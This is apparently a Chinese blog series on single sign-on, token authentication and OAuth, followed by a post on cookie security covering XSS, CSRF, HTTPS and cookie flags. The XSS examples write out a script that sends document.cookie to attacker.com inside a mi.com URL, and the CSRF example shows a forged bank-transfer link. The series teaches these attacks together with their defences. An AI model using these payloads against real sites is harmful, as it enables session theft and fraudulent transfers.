本文汇总了
的内容，版权归原网站所有！
什么是单点登录
单点登录（Single Sign On, SSO）是一种允许用户仅使用一组登录凭据（例如，一个用户名和密码）登录，从而可以安全地认证多个应用程序的系统。使用 SSO，用户尝试访问的应用程序或网站依赖于受信任的第三方来验证用户身份。一个例子就是你每天要用的谷歌的在线应用套件。
为什么单点登录很重要？
单点登录可以帮助公司提高工作效率，节省时间和金钱。
在用户方面，SSO 节省了时间和精力，因为用户不必重复登录多个应用程序。这提供了简化的（steamlined）用户体验，减少了软件因处理许多不同的密码和用户帐户而遇到的帐户访问问题。
单点登录也非常适合管理员。中心化的 SSO 系统更容易在不同应用间监控用户账户。它减少了访问问题（例如错误密码或忘记密码）的数量，节省了管理员和技术支持人员的时间。另外，因为注册时仅需一个密码，也减少了需要维护的密码数量。
没有 SSO 的认证如何工作？
如果没有单点登录，每个网站都会维护自己的用户及其凭据数据库。当你尝试登录应用或网站时会发生以下情况：
1.该网站首先检查你是否已经过身份验证。如果有，它可以让您访问该网站。
2.如果还没有，它会要求你登录，并根据其用户数据库中的信息检查你的用户名和密码。
3.登录后，当您在网站中浏览时，网站会传递身份验证验证数据，以确认每次转到新网页时都会对您进行身份验证。
SSO 如何工作？
使用 SSO 进行身份验证依赖于域（网站）之间的信任关系。通过单点登录，当你尝试登录应用或网站时会：
1.用户访问目标域。网站首先检查你是否已经过 SSO domain 的身份验证，如果是，它可以让你访问该网站。
2.如果还没有，它会将你重定向到 SSO domain 进行登录。
3.你输入用于企业访问的用户名/密码。
4.SSO tool 从公司使用的身份提供商或身份验证系统请求身份验证，生成一个加密令牌。
5.SSO server 将身份验证数据传递到网站并将你带回到该站点。
6.加密令牌作为你已经被授权的凭证。
7.当你在网站中浏览时，网站会携带身份验证数据，每次转到新网页时都会确认你的身份验证。
基于令牌的身份验证是另一个重要的登录概念（在
此处
了解更多信息）。 SSO系统基本上依赖于这些令牌来“记住”已经允许用户访问与该中央 SSO 相关联的所有应用。
SSO身份验证是否安全？
简短的回答是：是的。SSO 系统在正确实现并与其他现代网络安全工具一起使用时非常安全。
详细的回答。SSO 身份验证系统可以提高互联网的整体安全性，主要有两个原因：
-
减少了人们在互联网上创建和使用的弱密码的数量。
-
创建了更集中的系统，管理员可以更轻松地进行管理和保护。
但是，将多个流程集中到一个系统中也存在一些风险。如果黑客进入该中央系统或窃取用户密码，他们就可以访问连接到该 SSO 系统的所有应用程序和工具。
值得庆幸的是，向 SSO 登录系统添加额外的安全工具很容易。
SSO 与 OAuth
通俗的解释，SSO 是处理一个公司内的不同应用系统之间的登录问题，比如阿里巴巴旗下有很多应用系统，我们只需要登录一个系统就可以实现不同系统之间的跳转。
OAuth 是不同公司遵循的一种授权方案，也是一种授权协议，通常都是由大公司提供，比如腾讯，微博。我们常用的QQ登录，微博登录等，使用 OAuth 的好处是可以使用其他第三方账号进行登录系统，减少了因用户懒，不愿注册而导致用户流失的风险。
现在一些支付业务也用 OAuth，比如微信支付，支付宝支付。还有一些开放平台也用 OAuth，比如百度开放平台，腾讯开放平台。
CAS 单点登录的流程如下：
扩展阅读：
1.
mp.weixin.qq.com/s/TSkdxVN9m…
3.
apereo.github.io/cas/4.2.x/p…
该系列好多天没更新了，前几天请假回老家了，外公去世了。工作上也开始忙了，开始了所谓的「996」，为节奏和效率堪忧。
该系列的完整写作计划，可见：
系列概述
系列第一部分索引：
2.
HTTP重定向
3.
单点登录介绍
4.
cookie安全问题
5.
权限管理介绍
继续介绍「单点登录与权限管理」系列的第一部分：单点登录与权限管理本质，前一篇文章介绍了单点登录概念，以CAS协议的基本流程为例讲解了系统间的交互过程，过程中，cookie的设置和传输涉及的比较多，如何保证cookie的安全性，是这篇文章要介绍的。
安全相关的知识，了解的也有限，我阅读了相关的文章，按照自己的思路、理解，进行了梳理和总结。
如果把安全问题按照发生区域来划分的话，所有发生在后端服务器的安全问题称为「后端安全问题」，比如SQL注入；所有发生在浏览器、web页面中的安全问题称为「前端安全问题」，比如XSS跨站脚本攻击，cookie相关的问题主要在前端。
首先会介绍下2个攻击，XSS可获取用户的cookie，CSRF可利用用户的cookie伪造请求，然后介绍下HTTPS及它的重要性，最后说下跨域访问cookie的限制，HTTP设置cookie时对cookie操作的控制。
XSS
XSS称为跨站脚本攻击，全称为Cross-Site Scripting，这类安全问题发生的本质原因是浏览器将攻击者提供的用户输入数据当做JavaScript脚本执行了。
XSS有不同的分类方法，按照恶意脚本是否在应用中存储，可以划分为「存储型XSS」和「反射性XSS」；按照是否和服务端有交互，可以划分为「Server Side XSS」和「DOM based XSS」。
反射型XSS
场景说明：一些系统，在用户输入或操作错误后，会跳转到错误信息提示页面，服务器根据传入的message显示不同的错误信息。
如果服务端不对message进行过滤，就会收到XSS攻击，比如请求URL：
https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script> 页面显示
<input type="text" value="${msg}"> 如果被攻击者通过访问这个恶意的URL，就会把cookie发给黑客，黑客截获cookie，就能执行用户的任意操纵。
保存型XSS
对于保存型XSS，脚本通常保存在后端数据库中，不经过滤就存储并显示给用户。与反射型的流程不同的是，需要至少两次请求，第一次将含有恶意代码的数据提交给服务器，保存到数据库，第二次是受害者访问含有恶意代码的页面，恶意代码执行。
DOM based XSS
其实也是反射型的一种，因为也是通过url控制页面的输出，不同点只是输出地点不同而导致结果不一致。
加入请求URL和反射XSS相同:
https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script> 显示页面如下：
<input id="msg" type="text" value="${msg}" />
<div id="show"></div>
<script type="text/javascript">
var msg = document.getElementById("msg");
var show = document.getElementById("show");
show.innerHTML = msg.value;
</script> 防御XSS最佳的做法是对数据进行严格的输出编码，使得攻击者提供的数据不再被浏览器认为是脚本而被误执行。
CSRF
CSRF称为跨站请求伪造，全称是Cross Site Request Forgery，它可以在受害者毫不知情的情况下，以受害者的名义伪造请求发送给受攻击站点。
场景说明：小米金融网站A，有一个如下的转账接口
http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000 黑客H有一个网站B，在网站中放入如下代码，通过广告诱使受害者点击。如果受害者之前登录过网站A，且session还未过期，就会在受害者不知情的情况下，成功转账给黑客。
<a href='http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000'></a> 可以通过验证HTTP Referer字段、在请求地址中添加token并验证、在HTTP头中自定义属性并验证等方法进行解决；
HTTPS
建议所有对外网开放的站点都通过HTTPS，它是在HTTP协议的基础上，加入了SSL层，对数据进行加密处理。
通过HTTPS协议，cookie在传输的过程中，即使被别人劫持到请求，也不知道实际的cookie是什么，无法伪造其他的请求。
HTTPS相关的介绍在网上很多，这里描述下交互过程：
1.浏览器将自己支持的一套加密规则发送给网站；
2.网站从中选出一组加密算法与HASH算法，并将自己的身份信息以证书的形式发回给浏览器；（证书里面包含了网站地址，加密公钥，以及证书的颁发机构等信息）
3.浏览器获得网站证书之后，要做以下工作：* 验证证书的合法性（验证颁发证书的机构是否合法，证书中包含的网站地址是否与正在访问的地址一致等），如果验证不通过，会给出证书不受信的提示；* 如果证书受信任，或者是用户接受了不受信的证书，浏览器会生成一串随机数的密码，并用证书中提供的公钥加密；* 使用约定好的HASH计算握手消息，并使用生成的随机数对消息进行加密，最后将之前生成的所有信息发送给网站；
4.网站接收浏览器发来的数据之后要做以下的操作：* 使用自己的私钥将信息解密取出随机数密码，使用密码解密浏览器发来的握手消息，并验证HASH是否与浏览器发来的一致；* 使用随机数密码加密一段握手消息，发送给浏览器；
5.浏览器解密并计算握手消息的HASH，如果与服务端发来的HASH一致，此时握手过程结束，之后所有的通信数据将由之前浏览器生成的随机密码并利用对称加密算法进行加密；
总结下：
-
握手阶段，通过非对称加密算法对传输的数据进行加解密，约定随机数的密码、加密算法、Hash算法；
-
正常传输数据时，因为非对称加密比较耗时，使用随机数的密码进行加解密，随机数密码在浏览器端生成，通过非对称加密传输给网站，所以不会泄露；
-
为了防止数据被篡改，通过Hash算法进行校验；
Cookie访问控制
cookie如此重要，在浏览器端，如果一个网站可以访问其他网站的cookie，肯定不行的，所以浏览器是不允许跨域访问cookie的，提高了Cookie的安全性。
在前面的文章
session和cookie介绍
中，已经介绍了cookie的作用域，主要是说一级域名相同情况下如何共享使用cookie。
如果想实现跨域访问，可以通过JSONP、CORS的方法实现。
另外，HTTP设置cookie时，提供了2个属性，可以增强cookie的安全性，分别是secure属性和httpOnly属性。
secure属性可防止信息在传递的过程中被监听捕获后导致信息泄露，如果设置为true，可以限制只有通过https访问时，才会将浏览器保存的cookie传递到服务端，如果通过http访问，不会传递cookie。
httpOnly属性可以防止程序获取cookie，如果设置为true，通过js等将无法读取到cookie，能有效的防止XSS攻击。
通过本篇文章的介绍，为了保障cookie的安全性，应要求通过HTTPS进行访问，在编写代码时充分考虑，尽量避免XSS、CSRF等cookie相关的攻击方法。同时，浏览器和HTTP本身也对cookie的访问控制进行了考虑。
< img src=”
https://hnxx.oss-cn-shanghai.aliyuncs.com/official/1678694737820.png?t=0.6334725112165747″
/>
